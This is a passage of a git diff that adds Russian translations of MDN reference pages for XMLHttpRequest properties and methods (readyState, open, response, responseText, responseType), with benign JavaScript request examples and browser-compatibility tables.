+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventHandler" title="A possible way to get notified of Events of a particular type (such as click) for a given object is to specify an event handler using:"><code>Обработчик события (EventHandler)</code></a>, который вызывается всякий раз, когда изменяется состояние свойства <code>readyState</code>. Свойство <strong><code>XMLHttpRequest.onreadystatechange</code></strong> содержит обработчик события, вызываемый когда происходит событие {{event("readystatechange")}}, всякий раз  когда свойство {{domxref("XMLHttpRequest.readyState", "readyState")}} запроса {{domxref("XMLHttpRequest")}} изменяется. Функция обратного вызова запускается из потока пользовательского интерфейса.</p>
+
+<div class="warning">
+<p><strong>Внимание:</strong> Не должно использоваться при синхронных запросах  и из исходного кода (native code).</p>
+</div>
+
+<p>Событие <code>readystatechange</code> не произойдёт если запрос <code>XMLHttpRequest</code> отменён методом <a href="/en-US/docs/Web/API/XMLHttpRequest/abort">abort()</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.onreadystatechange = <em>callback</em>;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<ul>
+ <li><code><em>callback</em></code> - это функция, которая будет вызываться при изменении свойства <code>readyState</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+
+xhr.open(<em>method</em>, <em>url</em>, true);
+xhr.onreadystatechange = function () {
+        if(xhr.readyState === XMLHttpRequest.DONE &amp;&amp; xhr.status === 200) {
+            console.log(xhr.responseText);
+        };
+    };
+xhr.send();</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#handler-xhr-onreadystatechange')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatIe(7)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari(1.2)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer версий 5 и 6 поддерживают запросы ajax при использовании <code>ActiveXObject()</code>.</p>
diff --git a/files/ru/web/api/xmlhttprequest/open/index.html b/files/ru/web/api/xmlhttprequest/open/index.html
new file mode 100644
index 0000000000..24b59f60f5
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/open/index.html
@@ -0,0 +1,66 @@
+---
+title: XMLHttpRequest.open()
+slug: Web/API/XMLHttpRequest/open
+translation_of: Web/API/XMLHttpRequest/open
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <strong>XMLHttpRequest.open()</strong> инициализирует новый запрос или повторно инициализирует уже созданный.</p>
+
+<div class="note"><strong>Заметка:</strong> Вызов этого метода для уже активного запроса (для которого уже был вызван  <code>open()</code>) эквивалентно вызову <code>abort()</code>.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>XMLHttpRequest</var>.open(<var>method</var>, <var>url</var>[, <var>async</var>[, <var>user</var>[, <var>password</var>]]])
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>method</code></dt>
+ <dd>Для HTTP-запроса используются такие методы как "GET", "POST", "PUT", "DELETE", и т. д. Игнорируется для URL, отличных от HTTP(S)-запросов.</dd>
+ <dt><code>url</code></dt>
+ <dd>{{domxref("DOMString")}} представляет URL для отправки запроса.</dd>
+ <dt><code>async</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Необязательный логический параметр со значением по умолчанию <code>true</code>, указывающим, выполнять ли операцию асинхронно или нет. Если это значение равно <code>false</code>, метод <code>send()</code> не возвращается, пока не будет получен ответ. Если <code>true</code>, уведомление о получении ответа осуществляется с помощью обработчика события. Должен быть <code>true</code>, если аттрибут <code>multipart</code> равен <code>true</code>, иначе будет выброшено исключение.</p>
+
+ <div class="note"><strong>Заметка:</strong> Синхронные запросы в основном потоке могут нарушить работу пользователя, их следует избегать. Фактически большинство браузеров полностью отказались от поддержки синхронных XHR в основном потоке. Синхронные запросы можно использовать в {{domxref("Worker")}}.</div>
+ </dd>
+ <dt><code>user</code> {{optional_inline}}</dt>
+ <dd>Опционально: имя пользователя, использующееся для аутентификации; по умолчанию имеет значение <code>null</code>.</dd>
+ <dt><code>password</code> {{optional_inline}}</dt>
+ <dd>Опционально: пароль, использующийся для аутентификации; по умолчанию имеет значение <code>null</code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-open()-method', 'open()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG живой стандарт</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.XMLHttpRequest.open")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li>{{domxref("XMLHttpRequest.setRequestHeader", "setRequestHeader()")}}</li>
+ <li>{{domxref("XMLHttpRequest.send", "send()")}}</li>
+ <li>{{domxref("XMLHttpRequest.abort", "abort()")}}</li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/readystate/index.html b/files/ru/web/api/xmlhttprequest/readystate/index.html
new file mode 100644
index 0000000000..a585b31e8b
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/readystate/index.html
@@ -0,0 +1,153 @@
+---
+title: XMLHttpRequest.readyState
+slug: Web/API/XMLHttpRequest/readyState
+tags:
+  - AJAX
+  - XMLHttpRequest
+  - Свойство
+  - Ссылка
+translation_of: Web/API/XMLHttpRequest/readyState
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p><strong>Свойство XMLHttpRequest.readyState</strong> возвращает текущее состояние объекта XMLHttpRequest. Объект <abbr title="XMLHttpRequest">XHR</abbr> может иметь следующие состояния:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Значение</td>
+   <td class="header">Состояние</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>UNSENT</code></td>
+   <td>Объект был создан. Метод <code>open()</code> ещё не вызывался.</td>
+  </tr>
+  <tr>
+   <td><code>1</code></td>
+   <td><code>OPENED</code></td>
+   <td><code>Метод open()</code> был вызван.</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td><code>HEADERS_RECEIVED</code></td>
+   <td><code>Метод send()</code> был вызван, доступны заголовки (headers) и статус.</td>
+  </tr>
+  <tr>
+   <td><code>3</code></td>
+   <td><code>LOADING</code></td>
+   <td>Загрузка; <code>responseText</code> содержит частичные данные.</td>
+  </tr>
+  <tr>
+   <td><code>4</code></td>
+   <td><code>DONE</code></td>
+   <td>Операция полностью завершена.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>UNSENT</dt>
+ <dd>Объект XMLHttpRequest был создан, но метод <code>open()</code> ещё не вызывался.</dd>
+ <dt>OPENED</dt>
+ <dd>Был вызван метод open(). На этом этапе методом <a href="/en-US/docs/Web/API/XMLHttpRequest/setRequestHeader">setRequestHeader()</a> могут быть установлены заголовки запроса (request headers), после чего для начала выполнения запроса может быть вызван метод <a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a> .</dd>
+ <dt>HEADERS_RECEIVED</dt>
+ <dd>Был вызван метод send() и получены заголовки ответа (response headers) .</dd>
+ <dt>LOADING</dt>
+ <dd>Получена часть ответа. Если <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code>  - это пустая строка или имеет значение "text", <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseText">responseText</a></code> будет содержать загруженную порцию текста ответа.</dd>
+ <dt>DONE</dt>
+ <dd>Операция доставки данных завершена. Это может означать как то, что передача данных полностью завершена успешно, так и то, что произошла ошибка.</dd>
+</dl>
+
+<div class="note">
+<p>Названия состояний отличаются в версиях Internet Explorer ранее 11. Вместо <code>UNSENT</code>, <code>OPENED</code>,<code> HEADERS_RECEIVED</code>,<code> LOADING</code> и <code>DONE, используются названия READYSTATE_UNINITIALIZED</code> (0), <code>READYSTATE_LOADING</code> (1), <code>READYSTATE_LOADED</code> (2), <code>READYSTATE_INTERACTIVE</code> (3) и <code>READYSTATE_COMPLETE</code> (4).</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+console.log('UNSENT', xhr.readyState); // readyState будет равно 0
+
+xhr.open('GET', '/api', true);
+console.log('OPENED', xhr.readyState); // readyState будет равно 1
+
+xhr.onprogress = function () {
+    console.log('LOADING', xhr.readyState); // readyState будет равно 3
+};
+
+xhr.onload = function () {
+    console.log('DONE', xhr.readyState); // readyState будет равно 4
+};
+
+xhr.send(null);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#states')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<sup>[1]</sup></td>
+   <td>{{CompatIe(7)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari("1.2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/xmlhttprequest/response/index.html b/files/ru/web/api/xmlhttprequest/response/index.html
new file mode 100644
index 0000000000..81a922d5ab
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/response/index.html
@@ -0,0 +1,145 @@
+---
+title: XMLHttpRequest.response
+slug: Web/API/XMLHttpRequest/response
+tags:
+  - AJAX
+  - Response
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/response
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<div><span class="seoSummary">Свойство <code>XMLHttpRequest </code></span><code><strong>response</strong></code> <span class="seoSummary"> возвращает содержимое тела ответа в виде <code>ArrayBuffer</code>, <code>Blob</code>, <code>Document</code>, <code>JavaScript Object</code> или <code>DOMString </code>в зависимости от значения свойства <code>responseType</code>.</span></div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>body</em> = <em>XMLHttpRequest</em>.response;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p> </p>
+
+<p>Соответствующий объект, основанный на значении <code>responseType</code>. Вы можете попытаться запросить данные в определенном формате, установив значение <code>responseType</code> после вызова <code>open()</code> для инициализации запроса, но перед вызовом <code>send()</code> для отправки запроса на сервер.</p>
+
+<p>Значение равно <code>null</code>, если запрос еще не завершен или был неудачным, за исключением того, что при чтении текстовых данных с использованием <code>responseType "text"</code> или пустой строки (<code>""</code>), ответ может содержать ответ до тех пор, пока запрос все еще находится в состоянии <code>LOADING readyState (3)</code>.</p>
+
+<p>Типы ответов описаны ниже.</p>
+
+<p> </p>
+
+<p> </p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Значение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>""</code></td>
+   <td>Пустая строка <code>responseType</code> обрабатывается так же, как <code>"text"</code>, тип по умолчанию (следовательно, как <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String.">DOMString</a></code>.)</td>
+  </tr>
+  <tr>
+   <td><code>"arraybuffer"</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/response" title="The XMLHttpRequest response property returns the response's body content as an ArrayBuffer, Blob, Document, JavaScript Object, or DOMString, depending on the value of the request's responseType property."><code>response</code></a> в JavaScript <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title="The ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You cannot directly manipulate the contents of an ArrayBuffer; instead, you create one of the typed array objects or a DataView object which represents the buffer in a specific format, and use that to read and write the contents of the buffer."><code>ArrayBuffer</code></a> содержит двоичные данные.</td>
+  </tr>
+  <tr>
+   <td><code>"blob"</code></td>
+   <td><code>response</code> в <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob" title="A Blob object represents a file-like object of immutable, raw data. Blobs represent data that isn't necessarily in a JavaScript-native format. The File interface is based on Blob, inheriting blob functionality and expanding it to support files on the user's system."><code>Blob</code></a> object содержит двоичные данные.</td>
+  </tr>
+  <tr>
+   <td><code>"document"</code></td>
+   <td>
+    <p><code>response</code> является <a href="https://developer.mozilla.org/en-US/docs/Glossary/HTML" title="HTML: HTML (HyperText Markup Language) is a descriptive language that specifies webpage structure.">HTML</a> <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document" title="The Document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the DOM tree.HTMLElement"><code>Document</code></a> или <a href="https://developer.mozilla.org/en-US/docs/Glossary/XML" title="XML: eXtensible Markup Language (XML) is a generic markup language specified by the W3C. The information technology (IT) industry uses many languages based on XML as data-description languages.">XML</a> <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLDocument" title="The XMLDocument interface represent an XML document. It inherits from the generic Document and does not add any specific methods or properties to it: nevertheless, several algorithms behave differently with the two types of documents."><code>XMLDocument</code></a>, в зависимости от ситуации, основанный на MIME-типе полученных данных. См. <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a> , чтобы узнать больше об использовании XHR для извлечения содержимого HTML.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"json"</code></td>
+   <td><code>response</code> является JavaScript object, созданный путем анализа содержимого полученных данных как <a href="https://developer.mozilla.org/en-US/docs/Glossary/JSON" title="JSON: JavaScript Object Notation (JSON) is a data-interchange format.  Although not a strict subset, JSON closely resembles a subset of JavaScript syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.">JSON</a>.</td>
+  </tr>
+  <tr>
+   <td><code>"text"</code></td>
+   <td><code>response</code> является текстом в <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a> object.</td>
+  </tr>
+  <tr>
+   <td><code>"moz-chunked-arraybuffer"</code> </td>
+   <td>
+    <p> </p>
+
+    <p>Похож на <code>"arraybuffer"</code>, но данные принимаются в потоке. При использовании этого типа ответа значение в <code>response</code> доступно только в обработчике для события <code><a href="https://developer.mozilla.org/en-US/docs/Web/Events/progress" title="/en-US/docs/Web/Events/progress">progress</a></code> и содержит только данные, полученные с момента последнего события <code>progress</code>, а не совокупные данные, полученные с момента отправки запроса.</p>
+
+    <p>Доступ к <code>response</code> во время события <code>progress</code> возвращает полученные данные. За пределами обработчика событий <code>progress</code> значение <code>response</code> всегда равно <code>null</code>.</p>
+
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"ms-stream"</code> </td>
+   <td><code>response</code> является частью потоковой загрузки; этот тип ответа разрешен только для запросов на загрузку и поддерживается только Internet Explorer.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<p> </p>
+
+<p> </p>
+
+<p>В этом примере представлена функция <code>load()</code>, которая загружает и обрабатывает страницу с сервера. Он работает путем создания объекта <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> и создания обработчика собития с событием <code>readystatechange</code>, чтобы при изменении <code>readyState </code>на <code>DONE (4)</code> <code>response</code> получался и передавался в функцию обратного вызова, предоставляемую <code>load()</code>.</p>
+
+<p>Содержимое обрабатывается как необработанные текстовые данные (поскольку здесь ничто не переопределяет <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseType" title="The XMLHttpRequest property responseType is an enumerated string value specifying the type of data contained in the response."><code>responseType</code></a> по умолчанию).</p>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="brush: js">var url = 'somePage.html'; //A local page
+
+function load(url, callback) {
+  var xhr = new XMLHttpRequest();
+
+  xhr.onreadystatechange = function() {
+    if (xhr.readyState === 4) {
+      callback(xhr.response);
+    }
+  }
+
+  xhr.open('GET', url, true);
+  xhr.send('');
+}
+
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-response-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG живой стандарт</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.XMLHttpRequest.response")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li>Getting text and HTML/XML data: {{domxref("XMLHttpRequest.responseText")}} and {{domxref("XMLHttpRequest.responseXML")}}</li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/responsetext/index.html b/files/ru/web/api/xmlhttprequest/responsetext/index.html
new file mode 100644
index 0000000000..67421dc290
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/responsetext/index.html
@@ -0,0 +1,75 @@
+---
+title: XMLHttpRequest.responseText
+slug: Web/API/XMLHttpRequest/responseText
+translation_of: Web/API/XMLHttpRequest/responseText
+---
+<div>{{draft}}</div>
+
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary">Только для чтения {{domxref("XMLHttpRequest")}} свойство <strong><code>responseText</code></strong> возвращает текст ответа от сервера на отправленный запрос.</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>resultText</var> = <var>XMLHttpRequest</var>.responseText;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Строка {{domxref("DOMString")}} содержащая либо <code>текстовые данные, </code>полученные при использовании <code>XMLHttpRequest, либо</code> <code>null</code> в случае, когда вопрос возвратил ошибку, или же еще не был  отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.</p>
+
+<p>Во время выполнения асинхронных запросов, в значении <code>responseText</code> всегда находится текущее содержимое, полученное от сервера, даже если запрос еще не завершен, и данные от сервера не получены полностью.</p>
+
+<p>Понять, что ответ получен полностью, можно когда значение {{domxref("XMLHttpRequest.readyState", "readyState")}} становится {{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (<code>4</code>), а значение {{domxref("XMLHttpRequest.status", "status")}} становится 200 (<code>"OK"</code>).</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Возникает, когда значению {{domxref("XMLHttpRequest.responseType")}} не присвоена либо пустая строка, либо "text". Поскольку свойство <code>responseText</code> предназначено только для текстового содержимого, любое другое значение вызовет ошибку.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// responseType должно быть пустой строкой, либо "text"
+xhr.responseType = 'text';
+
+xhr.onload = function () {
+    if (xhr.readyState === xhr.DONE) {
+        if (xhr.status === 200) {
+            console.log(xhr.response);
+            console.log(xhr.responseText);
+        }
+    }
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация </th>
+   <th scope="col">Статус</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responsetext-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.responseText")}}</p>
diff --git a/files/ru/web/api/xmlhttprequest/responsetype/index.html b/files/ru/web/api/xmlhttprequest/responsetype/index.html
new file mode 100644
index 0000000000..91e38522bf
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/responsetype/index.html
@@ -0,0 +1,137 @@
+---
+title: XMLHttpRequest.responseType
+slug: Web/API/XMLHttpRequest/responseType
+translation_of: Web/API/XMLHttpRequest/responseType
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p><strong><code>XMLHttpRequest.responseType</code></strong> <font><font>Свойство является перечислимым значением, </font><font>которое возвращает тип ответа. </font><font>Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию <strong><code>text</code></strong></font></font><font><font>. </font></font><font><font>Установка значения responseType в «document» игнорируется, если выполняется в  </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker"><font><font>рабочей</font></font></a><font><font> среде. </font><font>При настройке </font></font><code>responseType</code><font><font> на определенное значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным </font></font><code>responseType</code><font><font>, значение </font></font><code>response</code> <font><font>будет </font></font><code>null</code><font><font>. </font><font>Кроме того, установка </font></font><code>responseType</code> <font><font>для синхронных запросов вызовет исключение </font></font><code>InvalidAccessError</code><font><font>.</font></font></p>
+
+<p><font><font>Поддерживаемые значения </font></font><code>responseType</code><font><font>:</font></font></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Value</td>
+   <td class="header">Data type of <code>response</code> property</td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td>{{domxref("DOMString")}} (this is the default value)</td>
+  </tr>
+  <tr>
+   <td><code>"arraybuffer"</code></td>
+   <td>{{domxref("ArrayBuffer")}}</td>
+  </tr>
+  <tr>
+   <td><code>"blob"</code></td>
+   <td>{{domxref("Blob")}}</td>
+  </tr>
+  <tr>
+   <td><code>"document"</code></td>
+   <td>{{domxref("Document")}}</td>
+  </tr>
+  <tr>
+   <td><code>"json"</code></td>
+   <td><a href="/en-US/docs/Glossary/JSON"><code>JSON</code></a></td>
+  </tr>
+  <tr>
+   <td><code>"text"</code></td>
+   <td>{{domxref("DOMString")}}</td>
+  </tr>
+  <tr>
+   <td><code>"moz-chunked-arraybuffer"</code> {{non-standard_inline}}</td>
+   <td>
+    <p><font><font>Похоже на </font></font><code>"arraybuffer"</code><font><font>, но потоковое. </font><font>Это означает, что значение в </font></font><code>response</code> <font><font>доступно только при отправке </font></font><code>"progress"</code> <font><font>события и содержит только данные, полученные с момента последнего </font></font><code>"progress"</code> <font><font>события.</font></font></p>
+
+    <p><font><font>При </font></font><code>response</code><font><font> обращении во время события </font></font><code>"progress"</code> <font><font>он содержит строку с данными. </font><font>В противном случае он возвращается </font></font><code>null</code><font><font>.</font></font></p>
+
+    <p>Этот режим работает только в Firefox.. {{gecko_minversion_inline("9.0")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>"ms-stream"{{non-standard_inline}}</td>
+   <td>Указывает, что ответ является частью потоковой загрузки. Он поддерживается только для запросов на загрузку. Этот режим доступен только в Internet Explorer.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responsetype-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>31</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12<sup>[1]</sup></td>
+   <td>10</td>
+   <td>18</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>4.0.3 [2]<br>
+     4.4</p>
+   </td>
+   <td>55</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>50<sup>[1]</sup></td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Проприетарный <code>moz-blob</code> и <code>moz-chunked-text</code> значения полностью удалены в Firefox 58.</p>
+
+<p>[2] Поддерживается только <code>text</code> и <code>arraybuffer</code>.</p>
diff --git a/files/ru/web/api/xmlhttprequest/responseurl/index.html b/files/ru/web/api/xmlhttprequest/responseurl/index.html
new file mode 100644
index 0000000000..ed61b3451b
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/responseurl/index.html
@@ -0,0 +1,42 @@
+---
+title: XMLHttpRequest.responseURL
+slug: Web/API/XMLHttpRequest/responseURL
+translation_of: Web/API/XMLHttpRequest/responseURL
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
